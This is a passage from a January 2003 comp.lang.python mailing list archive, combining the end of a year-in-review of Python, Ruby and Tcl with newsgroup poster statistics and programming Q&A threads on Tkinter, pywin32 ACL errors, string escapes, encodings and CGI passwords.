     docstrings and almost any other kind of text
     http://docutils.sourceforge.net/rst.html

   - Twisted 1.0, an event-driven networking framework
     http://twistedmatrix.com/

   - Wing IDE 1.1 and up, a development environment for Python
     http://wingide.com/

   - wxPython, a cross platform GUI toolkit based on wxWindows
     http://wxpython.org/

   - Zope 2.5, 2.6, and an alpha release of Zope 3
     an application server specializing in content management
     http://www.zope.org/

  Four Python conferences were held in 2002, including a couple of
  European conferences.  Many new books were published including the
  well-regarded Python Cookbook and the first two books on Jython, the
  Java implementation of Python.  

* Keeping up with Python news

  Some valuable summarizes in increasing order of frequency:

    Bi-weekly summaries of python-dev mailing list
    http://www.python.org/dev/summary/

    Dr. Dobb's (weekly) Python URL
    http://www.ddj.com/topics/pythonurl/

    Daily Python URL
    http://www.pythonware.com/daily/index.htm

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Ruby.year(2002): A report from the Ruby community

Ruby [1] continued to delight its practitioners and, perhaps, tempt
those who work in other languages, throughout 2002. Increased traffic
on the ruby-talk mailing list suggests that more and more people from
around the world are discovering Ruby and the joys it brings to
programming, and visions of Ruby's future have enthused Rubyists
everywhere.

* Web Application Development with Ruby
  Web application development with Ruby is beginning to come into its own,
  and many web development tools achieved milestone stability releases.
  Web developers now have several options, including eRuby [2] (for
  embedding Ruby code directly into HTML documents), Amrita [3] (an
  alternative that uses templates to cleanly separate logic and
  presentation) and complete site-development frameworks like CGIKit [4]
  and ILE [5]. The mod_ruby [2] module for Apache is also fast and stable.

* Virtual Machines
  The quest for improved performance also sparked a number of new Ruby
  projects. There are now several virtual machine (VM) development
  efforts, including Cardinal [6] (a Ruby front-end to Parrot), JRuby [7]
  (a Java implementation of the Ruby interpreter) and an as-yet-unnamed VM
  that Matz, the creator of Ruby, and his co-conspirators are keeping
  a closely guarded secret.

* Improved Support for Windows and Mac OS X
  A lot of focus has been placed on enhancing Ruby's usability with
  non-Unix operating systems. The Ruby distribution for Windows [8]
  includes many popular Ruby extensions, as well as an HTML Help version
  of Thomas and Hunt's Programming Ruby, providing a very easy way for
  users to get up and running with either the stable or development
  release of Ruby. Also, beginning with the 10.2 (Jaguar) release, Ruby is
  now a standard part of the Mac OS X operating system.

* New Versions
  The year ended with the release of Ruby 1.6.8, which is promised to be
  the last release in the 1.6.x series. The end of 2002 also saw a
  "preview" release of Ruby 1.8. In addition to enhancements in the Ruby
  language itself, the upcoming 1.8 release will incorporate several new
  modules into Ruby's standard library. Test::Unit [9], a rock-solid,
  object oriented automated unit testing framework will be included in the
  standard distribution. Another planned addition is REXML [10], a clean
  and intuitive XML processing library.

* Ruby in Print
  There were many signs of the rising popularity of Ruby in 2002. A number
  of new English language books, such as Ruby in a Nutshell (Yukihiro
  Matsumoto), Teach Yourself Ruby in 21 Days (Mark Slagell), The Ruby Way
  (Hal Fulton) and Ruby Developer's Guide (Michael Neumann, Robert Feldt
  and Lyle Johnson), were published this year. In Japan, an additional 11
  Ruby books were published (bringing the total in Japanese to 27).

* Ruby Conference
  A notable event was the second annual Ruby Conference, held in
  November 2002 in Seattle, WA, USA. There were about fifteen
  presentations, as well as a keynote speech by Matz. Slides of those
  talks are available online at
  http://www.zenspider.com/Languages/Ruby/RubyConf2002/ .

* Ruby in 2003
  The upcoming year promises a number of exciting new developments. In
  addition to the previously mentioned Ruby 1.8, one of the most eagerly
  anticipated projects is FreeRIDE [11], a powerful cross-platform IDE for
  Ruby. This software is being designed and built by a large group of
  volunteers and is itself a great testimony to the strong spirit of the
  Ruby community.

* Challenges
  In addition to the many successes, we as a community face a number of
  challenges. One is the need for better documentation and documentation
  tools. A related problem that a good deal of the documentation for Ruby
  libraries is only available in Japanese, and as a result there is
  substantial interest in having English translations of those texts.
  Another challenge for the Ruby community is the need for more well
  defined methods of packaging and distribution for Ruby libraries and
  extension modules.

* More about Ruby
  Ruby's home page is the official source for downloads as well as
  information about CVS and mailing list access. The newly redesigned Ruby
  Application Archive [12] is an online catalog of Ruby libraries and
  extension modules. The Ruby Weekly News [13] is posted every week to the
  ruby-talk mailing list and provides a nice summary of what people are
  talking about. For a more comprehensive account, archives of the mailing
  list [14] are available as well. Finally, an important resource for Ruby
  developers is the Ruby Garden [15]. The Ruby Garden is a portal site
  that provides message boards, online polls and links to other popular
  Ruby web sites including the Ruby Garden Wiki [16].

* References
    1. http://www.ruby-lang.org/
    2. http://www.modruby.net/
    3. http://www.brain-tokyo.jp/research/amrita/
    4. http://www.spice-of-life.net/download/cgikit/index_en.html
    5. http://virtualschool.edu/ile/
    6. http://www.rubygarden.org/ruby?CardinalProject
    7. http://jruby.sourceforge.net/
    8. http://rubyinstaller.sourceforge.net/
    9. http://testunit.talbott.ws/
   10. http://www.germane-software.com/software/rexml/
   11. http://www.rubyide.org/
   12. http://www.ruby-lang.org/raa/
   13. http://www.rubygarden.org/rurl/html/index.html
   14. http://blade.nagaokaut.ac.jp/ruby/ruby-talk/index.shtml
   15. http://www.rubygarden.org/
   16. http://www.rubygarden.org/ruby?HomePage

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Tcl

2002 was a significant year for the Tcl community - culminating in the
release of Tcl/Tk 8.4 after a long gestation period.

* Tcl 8.4 released

  The 8.4 release includes a number of significant features, including

     * a new Virtual File System (VFS) layer that allows (in principle)
       filesystem activity to be diverted away from the native operating
       system to something else; drivers exist for a number of underlying
       "access methods", including FTP, HTTP, Metakit, WebDAV, etc.
     * 64 bit support - both files and arithmetic, also on 32-bit systems
     * major performance improvements - 8.4 is the fastest Tcl version yet
     * enhanced thread support, stability, and performance
     * Unicode and I18N improvements
     * three new Tk widget types, most other widgets have been enhanced
     * native MacOS X Aqua support

  Details of these and other changes can be found at [1].  Or start your
  Tcl explorations from this new URL (redirect): http://www.tcl.tk/

  The other significant development in the Tcl world was in the area of
  portability and deployment. The introduction of VFS to the core enables
  Starkits [2], which provide easy single-file deployment of applications
  and packages (like Java jar files, but with more power).  They can be
  interpreted using either Tclkit, a single file Tcl/Tk interpreter
  available on numerous platforms, or ActiveTcl, the ActiveState Tcl
  distribution.  An archive of Starkits is available at [3].

* The Community

  The Tcl community continues to be an active and vibrant group of very
  diverse characters, supported by a number of forums:

     * Tclers' Wiki - over 3500 pages of useful information (mostly, but
       not exclusively) related to Tcl/Tk and associated technology [4]
     * Tclers' Chat, typically with a number of Tcl "experts" online at
       most times - available by browser [5] or a tkchat application [6]
     * comp.lang.tcl newsgroup and mailing lists, see selection at [7]
     * Tcl-URL! - a summary of highlights posted weekly on comp.lang.tcl

  The Tcl community holds on to its tradition of welcoming both newbies
  and interaction with people from other language communities.  A good
  starting point is the comp.lang.tcl newsgroup.

* Notable developments

  The last year saw the continued use of Tcl/Tk in a very wide variety of
  applications (both Open Source and commercial), including:

     * ActiveTcl / TclDevKit / Komodo - Tcl/Tk core and tools development
       at ActiveState [8]
     * the Tcl/Tk Plugin - revival of web browser plugin based on Tcl/Tk
       8.4 and taking advantage of new features [9] and supporting both
       Internet Explorer and Mozilla (on a wide variety of platforms)
     * Tclkit - standalone single-file runtime with Tcl, Tk, Incrtcl,
       Metakit, TclVFS, zlib [11]
     * AOLServer - high-performance web/content server used by AOL [10]
     * Critcl - embedding C/C++ in Tcl, on-the-fly compiled or precompiled
       for easy deployment [12]
     * gnocl - is a GTK+ and Gnome extension that provides easy to use
       commands to quickly build GTK+ and Gnome compliant user interfaces,
       it interoperates with Tk [19]
     * InstallBase - a multi-platform GUI installer in Tcl/Tk and designed
       to work on Windows, Mac, and almost any flavor of UNIX / Linux [18]
     * MOODS - graphical monitoring application for Linux [13]
     * Privaria - a Secure, Firewall-Friendly Platform for Peer-to-Peer
       Networking [14]
     * SnackAmp - a multi-platform audio music (mp3, ogg ,wav ...) player
       and organizer for large music collections [15]
     * TCLBridge - a powerful component designed to allow seamless
       integration of Tcl/Tk and any ActiveX capable language, such as
       Visual Basic 6 and any of the Microsoft .NET languages [16]
     * Toucan - a Desktop IDE for developing Palm OS applications [17]
     * Wikit - a wiki implementation used to power the Tclers' Wiki, but
       also can be used to embed a wiki in applications for
       documentation/help [20]

  There are more applications and extensions than space to mention them.
  See news:comp.lang.tcl.announce for an overview.

* Tcl in 2003

  2003 is likely to be a year of consolidation - Tcl/Tk 8.4.1 is out,
  solid, and becoming the standard Tcl version; plans for 8.5 and/or 9 are
  under consideration.  The coming year is also likely to see more work in
  the area of repositories/archives, more interfaces to other languages
  for Tcl/Tk, and yet more platforms supported.

* References

   1. http://www.tcl.tk/software/tcltk/8.4.html
   2. http://www.equi4.com/starkit
   3. http://mini.net/sdarchive/
   4. http://wiki.tcl.tk/
   5. http://mini.net/cgi-bin/chat.cgi
   6. http://wiki.tcl.tk/tkchat
   7. http://aspn.activestate.com/ASPN/Tcl/Mail
   8. http://www.activestate.com/Tcl
   9. http://tclplugin.sf.net/
  10. http://www.aolserver.com/
  11. http://www.equi4.com/tclkit
  12. http://www.equi4.com/critcl
  13. http://jfontain.free.fr/moodss/
  14. http://eepatents.com/privaria/
  15. http://snackamp.sourceforge.net/
  16. http://www.tclbridge.com/
  17. http://toucan.sourceforge.net/
  18. http://installbase.sourceforge.net/
  19. http://www.dr-baum.net/gnocl/
  20. http://wiki.tcl.tk/wikit

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

Thanks to the authors

  Luiz Henrique de Figueiredo  (Lua)
  Rafael Garcia-Suarez  (Perl)
  Jeremy Hylton  (Python)
  The Ruby Community  (Ruby)
  Jeff Hobbs, Steve Landers, and Jean-Claude Wippler  (Tcl)

Additional thanks to Piers Cawley, Jarkko Hietaniemi, Jeremy Hylton,
Lyle Johnson, Dan Sugalski, Greg Sullivan, and Jean-Claude Wippler.

A copy of this email is available at
   http://www.vendian.org/language_year/

There are many useful and interesting languages not included here.
If you write a similar summary, I would be glad to include it on
the webpage.  You might also consider similar collaborations
within other super-communities.

Please feel free to forward this email appropriately, but
I suggest you wait a day or so to avoid duplication.

Mitchell Charity





From akjmicro at yahoo.com  Sat Jan 25 02:04:27 2003
From: akjmicro at yahoo.com (Aaron K. Johnson)
Date: Sat, 25 Jan 2003 01:04:27 -0600
Subject: December 2002 comp.lang.* stats
Message-ID: <b0tctd$9cn$1@bob.news.rcn.net>

Ok.

I've finally taken into account the objections raised herein, and modified my
usenet query algorithms.

What you see below are pure and simple the number of unique posters to each
comp.lang.whatever hierarchy in December 2002.

Thanks,
Aaron.

comp.lang.java 5347
comp.lang.c++ 3075
comp.lang.perl 2136
comp.lang.javascript 2130
comp.lang.python 1996
comp.lang.basic 1758
comp.lang.c 1670
comp.lang.labview 958
comp.lang.clipper 922
comp.lang.tcl 853
comp.lang.pascal 805
comp.lang.ruby 767
comp.lang.clarion 707
comp.lang.lisp 587
comp.lang.fortran 517
comp.lang.smalltalk 391
comp.lang.asm 386
comp.lang.cobol 382
comp.lang.ada 376
comp.lang.vhdl 370
comp.lang.scheme 349
comp.lang.postscript 319
comp.lang.prolog 243
comp.lang.functional 237
comp.lang.idl-pvwave 230
comp.lang.forth 226
comp.lang.verilog 223
comp.lang.awk 211
comp.lang.vrml 153
comp.lang.rexx 147
comp.lang.apl 142
comp.lang.mumps 126
comp.lang.pl1 121
comp.lang.misc 115
comp.lang.objective-c 108
comp.lang.eiffel 101
comp.lang.logo 80
comp.lang.ml 73
comp.lang.asm370 65
comp.lang.dylan 38
comp.lang.modula3 30
comp.lang.oberon 26
comp.lang.modula2 23
comp.lang.pop 22
comp.lang.icon 17
comp.lang.idl 15
comp.lang.limbo 5
comp.lang.clos 4
comp.lang.prograph 2
comp.lang.clu 2




From dnagata at creo.com  Wed Jan 22 00:47:09 2003
From: dnagata at creo.com (Dale Nagata)
Date: Wed, 22 Jan 2003 05:47:09 GMT
Subject: regression bug in pywintypes SECURITY_ATTRIBUTES? reference counting?
Message-ID: <xfqX9.39793$Ui4.1380977@news1.telusplanet.net>

I've migrated some code from Python 1.5.2 to 2.2.2 with win32all-148, most
works just fine.

One thing that I can't quite figure out is why code exactly like in
...\python\Lib\site-packages\win32\demos\service\pipeTestService.py

now gives me the following error when before it worked fine in 1.5.2:

pywintypes.error: (1336, 'CreateEvent', 'The access control list (ACL)
structure
 is invalid.')

the code looks something like:

def MySecurityAttributes():
    sa = pywintypes.SECURITY_ATTRIBUTES()

    sidEveryone = pywintypes.SID()
    sidEveryone.Initialize(SECURITY_WORLD_SID_AUTHORITY, 1)
    sidEveryone.SetSubAuthority(0, SECURITY_WORLD_RID)

    sidCreator = pywintypes.SID()
    sidCreator.Initialize(SECURITY_CREATOR_SID_AUTHORITY, 1)
    sidCreator.SetSubAuthority(0, SECURITY_CREATOR_OWNER_RID)

    acl = pywintypes.ACL()
    acl.AddAccessAllowedAce(GENERIC_READ|GENERIC_WRITE, sidEveryone)
    acl.AddAccessAllowedAce(FILE_ALL_ACCESS, sidCreator)

    sa.SetSecurityDescriptorDacl( True, acl, False ) # bDaclPresent ...
bDaclDefaulted

    sa.bInheritHandle = False
    return sa

def test():
    sa = MySecurityAttributes()
    hEvent = win32event.CreateEvent( sa, True, False, None ) # raises
win32api.error 1336???

If I move the code from the body of MySecurityAttributes() inline into
test(), then it works!
So that sounds to me like there's some kind of reference counting problem in
the C code.
I've checked out the code from CVS and rebuilt PyWinTypes23.dll with debug
and
set breakpoints, but as far as I can tell, all looks fine upon leaving
PySECURITY_ATTRIBUTES::SetSecurityDescriptorDacl,
so that suggests that some part of it gets garbage collected by the time
it reaches win32event.SetEvent, which I haven't yet started debugging.

Can anybody with more reference counting experience see where the
dangling pointer is happening?

thanks in advance,

--
Dale Nagata, Software Developer
Printing Workflow Solutions, Creo Inc. (Vancouver)








From gerrit at nl.linux.org  Sun Jan  5 16:04:33 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Sun, 5 Jan 2003 22:04:33 +0100
Subject: [Tkinter] loading .jpg image?
Message-ID: <20030105210433.GA19934@nl.linux.org>

Hi,

What do I need to load a .jpg with Tkinter?

Demo/tkinter/guido/imageview.py will not do it...

$ file /usr/share/wallpapers/Blkmarble.jpg
/usr/share/wallpapers/Blkmarble.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, 0 x 0
$ python imageview.py /usr/share/wallpapers/Blkmarble.jpg
Traceback (most recent call last):
  File "imageview.py", line 12, in ?
    main()
  File "imageview.py", line 7, in main
    img = PhotoImage(file=filename)
  File "/usr/local/lib/python2.3/lib-tk/Tkinter.py", line 3137, in __init__
    apply(Image.__init__, (self, 'photo', name, cnf, master), kw)
  File "/usr/local/lib/python2.3/lib-tk/Tkinter.py", line 3093, in __init__
    self.tk.call(('image', 'create', imgtype, name,) + options)
_tkinter.TclError: couldn't recognize data in image file "/usr/share/wallpapers/Blkmarble.jpg"

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From hancock at anansispaceworks.com  Tue Jan  7 04:13:53 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Tue, 07 Jan 2003 09:13:53 GMT
Subject: string.replace() question
References: <pan.2003.01.07.08.58.58.277802.1286@net-es.dk>
Message-ID: <lTwS9.21057$9N5.1895969@newsread2.prod.itd.earthlink.net>

Per Jensen wrote:

> The Python doc on string.replace says this:
> 
> replace(str, old, new[, maxsplit])
> """Return a copy of string str with all occurrences of substring old
> replaced by new. If the optional argument maxsplit is given,
> the first maxsplit occurrences are replaced."""
> 
> I must have a blind spot, but the method doesn't seem to work quite like
> that. Example:
> 
> bash-2.05$ python
> Python 2.2.1 (#1, Sep 24 2002, 21:50:51)
> [GCC 2.95.3 20010315 (SuSE)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
>>>> import string
>>>> string.replace("C:\py21\gallery\resized", "\\", "/")
> 'C:/py21/gallery\resized'
>>>>
> 
> Notice that the last "\" is not replaced with a "/"
> 
> My question is why ?

See if this exercise makes any lights come on:

>>> s = "C:\py21\gallery\resized"
>>> print s 
esized1\gallery

>>> s = r"C:\py21\gallery\resized"
>>> print s
C:\py21\gallery\resized
>>> s
'C:\\py21\\gallery\\resized'

>>> string.replace(s, "\\", "/")
'C:/py21/gallery/resized'

The problem is that the string you are operating on is not the one you 
think it is. "\r" is a carriage return control character, not "\\" + "r" .

Cheers,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From simonb at webone.com.au  Thu Jan 16 19:18:32 2003
From: simonb at webone.com.au (Simon Burton)
Date: Fri, 17 Jan 2003 11:18:32 +1100
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <3E267821.5030209@mxm.dk> <gXuV9.11465$CG6.203610@news4.e.nsc.no> <pan.2003.01.16.09.42.41.751206@webone.com.au> <c76ff6fc.0301161331.27350f1a@posting.google.com>
Message-ID: <pan.2003.01.17.00.18.28.369157@webone.com.au>

On Thu, 16 Jan 2003 13:31:48 +0000, John Machin wrote:

> "Simon Burton" <simonb at webone.com.au> wrote in message news:<pan.2003.01.16.09.42.41.751206 at webone.com.au>...

>> Just wrote this:
>> 
>> def capit(s):
>>   l = s.split("_") # could re-use s here
>>   l = [ s.capitalize() for s in l ]
>>   return string.join(l,"")
>> 
>> capit("some_name") returns "SomeName"
>> 
>> regards,
>> Simon Burton.
> 
> 1. What is the point of reusing variable names when the function could
> be a one-liner and still quite legible:
> 
> def capit(s):
>    return "".join([x.capitalize() for x in s.split("_")])

my version i can change (eg. comment out a line); all the bits are exposed.

> 
> 2. string.join()???? Are you still using Python 1.5???? Update now!!!!

oh my "".join seems a bit strange; i guess i'll get used to it - glad i
don't have to import string anymore :)

> 
> 3. Can you see what is wrong with this without feeding it to Python:
> 
>   def capit(s):
>     l = s.split("_") # could re-use s here
>     l = [ s.capitalize() for s in 1 ]
>     return string.join(l,"")

Nope.

> 
> 4. Have you considered that capit() conflates "fubar", "_fubar",
> "__fubar", etc?

OK, only needed it for these_things_in_the_middle_names.
Hmm, I did think about extending capwords to take a separator argument (eg.
"_") in which case, yes "_fubar"->"_Fubar" but , blah, Who_Wants_This_Anyway?

Thanks for the tips,

Simon Burton.





From bokr at oz.net  Tue Jan 21 04:50:51 2003
From: bokr at oz.net (Bengt Richter)
Date: 21 Jan 2003 09:50:51 GMT
Subject: 1-line idiom to replace if blocks
References: <3e2cf624@post.usenet.com>
Message-ID: <b0j55r$7g4$0@216.39.172.122>

On Tue, 21 Jan 2003 16:17:00 +0800, "Jonathan P." <jbperez808 at yahoo.com> wrote:

>**** Post for FREE via your newsreader at post.usenet.com ****
>
>I hate code that takes up too many lines and
>have come up with the ff. idiom to replace
>many 4 line if statements:
>
>result=[value-if-false,value-if-true][condition]
>
>This idea could also be applied as a compact
>switch block replacement in certain cases.

Sometimes you can use that, but the semantics really
are different from if/else. I.e., both value-if-xxx
expressions are always evaluated, whereas with an
if or (hacky version often required to be safe) shortcut
expression only one or the other is evaluated.

It doesn't matter for constants, but if it's a function with side
effects, like getting the next value from either of two different
iterators, then you see the difference. You can get the effect of if/else by

    result = [condition and [value-if-true] or [value-if-false]][0][0]

which uses short cut logic (and you have to reorder the terms). E.g.,

 >>> class It:
 ...     def __init__(self, v): self.v=v
 ...     def __iter__(self): return self
 ...     def next(self):  v = self.v; self.v=chr(ord(v)+1); return v
 ...
 >>> ita = It('a') ; itn = It('0')
 >>> for i in xrange(10): print [i%3==1 and [itn.next()] or [ita.next()]][0][0],
 ...
 a 0 b c 1 d e 2 f g

But using your idiom naively, both sequences count in tandem,
since both expressions are always evaluated:

 >>> ita = It('a') ; itn = It('0')
 >>> for i in xrange(10): print [ita.next(), itn.next()][i%3==1],
 ...
 a 1 c d 4 f g 7 i j

In this case it's easy to move the () to make it safe, but in general
you might not even know which term if any has a side effect even without
an obvious opportunity-hint of () at the end of the expression.

Regards,
Bengt Richter



From andrew at indranet.co.nz  Mon Jan  6 17:01:37 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Tue, 07 Jan 2003 11:01:37 +1300
Subject: Simple Zope Photo Album
In-Reply-To: <74977d59.0301061215.7d734f8e@posting.google.com>
References: <74977d59.0301031118.75afd76d@posting.google.com>
 <slrnb1dbkp.22e2.karsten@datasink.webmonster.de>
 <74977d59.0301061215.7d734f8e@posting.google.com>
Message-ID: <40110000.1041890497@localhost.localdomain>


--On Monday, January 06, 2003 12:15:33 -0800 mlorfeld <tutal at msn.com> wrote:

>
>
> Thanks,
> This is *almost* exactly what I wanted.  The only problem is that I
> have no FTP access, so I will have to upload manually through the Zope
> interface, but that won't be too big of a problem, just time
> consuming.

Can't you use the Zope server's WebDAV instead of ftp?

Andrew




From pan-newsreader at thomas-guettler.de  Wed Jan 29 12:14:04 2003
From: pan-newsreader at thomas-guettler.de (Thomas Guettler)
Date: Wed, 29 Jan 2003 18:14:04 +0100
Subject: Hacking Heaven - Leo+XEmacs Integrated
References: <93rZ9.51593$F63.1103117@news.xtra.co.nz> <9be5e130.0301290226.6da15e53@posting.google.com>
Message-ID: <pan.2003.01.29.18.14.04.371788.724@thomas-guettler.de>

On Wed, 29 Jan 2003 11:26:35 +0100, Hemanth P.S. wrote:

> Aum <spam-me at no-thanks.com> wrote in message
> news:<93rZ9.51593$F63.1103117 at news.xtra.co.nz>...
>>n
>> Installation:
>> 1. Install Leo from CVS - instructions on the Leo website (above) 2.
>> Replace LeoPy.leo with my hacked copy:
>>    http://www.freenet.org.nz/downloads/LeoPy.leo
>> 3. Set up your xemacs so it launches gnuserv on startup 4. Open a leo
>> window on the left of the screen - slide the divider all the
>>    way right so no code pane is visible, then resize the window to thin
>>    and tall
>> 5. Open Xemacs on the right.
>> 
>> 
> I am running XEmacs 21.4.11 on Win2k. When I say gnuserv-start, it says
> "program not found". Does this only work on Linux?

No, I use gnuserv with xemacs on win2k. Maybe it is only available for the
cygwin-version.

 thomas

-- 
Thomas Guettler <guettli at thomas-guettler.de>
http://www.thomas-guettler.de



From clifford.wells at attbi.com  Wed Jan  1 01:31:23 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 31 Dec 2002 22:31:23 -0800
Subject: opening a text document to show a .txt file through
	abrowserlink
In-Reply-To: <3E1269D0.B8488056@alcyone.com>
References: <hcrP9.30944$Y2.1113@news2.bredband.com>
	 <mailman.1041277439.30986.python-list@python.org>
	 <3E10B410.E69EB572@alcyone.com>
	 <mailman.1041288686.25278.python-list@python.org>
	 <ahqqua.r04.ln@beastie.ix.netcom.com>
	 <mailman.1041312425.5480.python-list@python.org>
	 <7396d2b2.0212311127.13ebaa8@posting.google.com>
	 <tyfd6nhdikf.fsf@lxplus047.cern.ch>
	 <mailman.1041371348.30384.python-list@python.org>
	 <3E1269D0.B8488056@alcyone.com>
Message-ID: <1041402683.21819.44.camel@x1-6-00-04-5a-64-c4-03>

On Tue, 2002-12-31 at 20:08, Erik Max Francis wrote:
> Cliff Wells wrote:
> 
> > Do the same with a bash shell script.  Then explain to me how the
> > dozens
> > of system maintenence scripts I have on my system aren't programs.
> 
> I think this is another red herring.  Did anyone claim that shell
> scripts aren't programming languages?  I wouldn't think so, because they
> clearly are.

No, he said that because you couldn't do a computation in HTML that it
can't be a programming language.  Shell scripts are generally considered
programs and yet in many you can't do a computation either.  That was my
point.  

-- 
Cliff Wells <clifford.wells at attbi.com>





From lac at strakt.com  Fri Jan 10 01:17:09 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 10 Jan 2003 07:17:09 +0100
Subject: Mail <-> News gateway not working? 
In-Reply-To: Message from "Scherer, Bill" <Bill.Scherer@verizonwireless.com> 
   of "Thu, 09 Jan 2003 15:00:14 EST." <Pine.LNX.4.44.0301091458400.2017-100000@bagend.odc.vzwcorp.com> 
References: <Pine.LNX.4.44.0301091458400.2017-100000@bagend.odc.vzwcorp.com> 
Message-ID: <200301100617.h0A6H9jL017592@ratthing-b246.strakt.com>

Barry Warsaw says there was some problem, though NOT with _Mailman_
(grin) but he has stuck it together with appropriate amounts of
duct-tape and string ...

Laura

> On Thu, 9 Jan 2003, Cliff Wells wrote:
> 
> > I haven't seen anything I've posted all morning (via the mail list), and
> > my ego is starting to shrivel.
> 
> It must have a leak. 
> Mail volume seems normal to me.
> 
> > 
> > Regards,
> > 
> > Cliff
> 
> Be well, 
> 
> -- 
> Bill.Scherer at Verizon Wireless
> RHCE 807101044903581
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list




From peter at engcorp.com  Sat Jan 25 14:30:30 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 25 Jan 2003 14:30:30 -0500
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net> <mailman.1043502285.20597.python-list@python.org> <b0ubqb$oiv$3@bob.news.rcn.net>
Message-ID: <3E32E5D6.82887F98@engcorp.com>

"Aaron K. Johnson" wrote:
> 
> A person is what counts as a 'unique poster'. A message ID alone would not
> measure the 'user base' factor "im interested in.
> 
> Spam is still a problem to consider. It's not perfect yet.......

Spam is probably a problem best ignored.  It would probably
affect all those groups equally anyway.

-Peter



From aleax at aleax.it  Fri Jan 31 05:10:41 2003
From: aleax at aleax.it (Alex Martelli)
Date: Fri, 31 Jan 2003 10:10:41 GMT
Subject: Reliably getting/setting the (current) encoding name?
References: <mailman.1043989740.10681.python-list@python.org>
Message-ID: <BYr_9.148223$AA2.6032500@news2.tin.it>

Mike C. Fletcher wrote:
   ...
>     How does one reliably get the currently-active default codec name
> (i.e. the one that reflects the currently-set locale) as suitable for
> use with uncode.encode( ... )?

Here's how site.py (in your Python library) does it:

"""
encoding = "ascii" # Default value set by _PyUnicode_Init()

if 0:
    # Enable to support locale aware default string encodings.
    import locale
    loc = locale.getdefaultlocale()
    if loc[1]:
        encoding = loc[1]

if 0:
    # Enable to switch off string to Unicode coercion and implicit
    # Unicode to string conversion.
    encoding = "undefined"

if encoding != "ascii":
    # On Non-Unicode builds this will raise an AttributeError...
    sys.setdefaultencoding(encoding) # Needs Python Unicode build !
"""


>     How does one set the default encoding to be used by:
>         str( unicode )

with sys.setdefaultencoding -- but site.py UNBINDS that name
right after trying to import sitecustomize -- the idea being
that setting the default encoding is a task for the site, NOT
for authors of libraries etc.

If you disagree, "reload(sys)" will let you get at
sys.setdefaultencoding at any time -- use at your own risk.


Alex




From rjones at ekit-inc.com  Thu Jan 30 18:51:59 2003
From: rjones at ekit-inc.com (Richard Jones)
Date: Fri, 31 Jan 2003 10:51:59 +1100
Subject: Python Success Stories or Nightmares
In-Reply-To: <20030130234206.GA4982@pedos.es>
References: <1043966994.2227.113.camel@refugeeMedia> <20030130234206.GA4982@pedos.es>
Message-ID: <200301311051.59543.rjones@ekit-inc.com>

On Fri, 31 Jan 2003 10:42 am, Grzegorz Adam Hankiewicz wrote:
> On Thu, Jan 30, 2003 at 05:49:54PM -0500, Mongryong wrote:
> > What works and doesn't work in Python.
>
>   while (line = file.readline()):
>
> I still miss that one-liner.

This has worked for a very long time:

  for line in file.readlines():

or, in the more recent versions of python:

  for line in file:


    Richard





From chrisl_li at yahoo.com  Tue Jan  7 20:54:50 2003
From: chrisl_li at yahoo.com (Chris li)
Date: Tue, 7 Jan 2003 17:54:50 -0800 (PST)
Subject: bgen rocks
Message-ID: <20030108015450.72701.qmail@web40908.mail.yahoo.com>

I recently spend some time on bgen to learn how to
make python modules. bgen is so cool!

It seems that bgen has some ages now. It is still
using the regsub module instead of re.

It is true that bgen lack of documents. The best
one I can find is one of Guido's power point files
back in 1995. Here is google's html version:

http://216.239.53.100/search?q=cache:OJ0jMC1XM2kC:www.python.org/workshops/1995-12/papers/guido/day2.ppt+makerepairinstructions&hl=en&ie=UTF-8

The source code in Python/Mac/Modules/* is
very useful also. I think the snd module is a
good example.

Of course, the bgen source file. I think document
bgen to the level that people can read document
to use bgen will take not less than the bgen
source itself. So if you want to hack bgen,
just read the source!

I modify the bgen a little bit to use re module
and also add some ObjectDefinition for generating
C structures objects, of course, reuse the type
we already know.

So the generated get_attr() of that object will
some what look like this:

if (strcmp(name,"member1")==0)
    return Py_BuildValue("i",
self->ob_itself->member1 );
else if (strcmp(name, "member2")==0)
    return Py_BuildValue(...);
....
else
    return Py_FindMethodInChain(...)


It works fine. But the memeber can't be list by
dir(). Of course it can't, it is not in the
dictionary.

My question is that, if I want to make the member
able to list by dir(), what is the prefer way?

Thanks,

Chris


__________________________________________________
Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now.
http://mailplus.yahoo.com




From phr-n2002b at NOSPAMnightsong.com  Wed Jan 15 04:06:45 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 15 Jan 2003 01:06:45 -0800
Subject: passwords to CGI
References: <cb035744.0301140219.590608ae@posting.google.com> <7xbs2kt246.fsf@ruckus.brouhaha.com> <3E23F3DA.EB485C59@alcyone.com> <7x7kd83pmc.fsf@ruckus.brouhaha.com> <3E24C336.C51EDD2A@alcyone.com> <7xbs2jdtzm.fsf@ruckus.brouhaha.com> <cb035744.0301150028.3b584272@posting.google.com>
Message-ID: <7xvg0qkcii.fsf@ruckus.brouhaha.com>

hwlgw at hotmail.com (Will Stuyvesant) writes:
> > Anyway, without knowing what kind of site we're talking about, it
> > doesn't make sense to say SSL is worthwhile.
> 
> I don't know about setting up SSL for a site.  Do you think my local
> ISP would support it?  I mean is it normal to expect them to provide it?

Some do, others don't.  Ask yours if it does.

> About the kind of site: it is build around an online game I am
> developing.  The challenge is to use only HTML and CSS, trying even to
> avoid images.  There is a *lot* you can do with CSS only and I like it.

Unless it's a game where you expect serious cheating to be going on,
or if you have game elements that are traded for real-world money
(like people sell Everquest characters on ebay), you probably don't
need to bother with SSL.

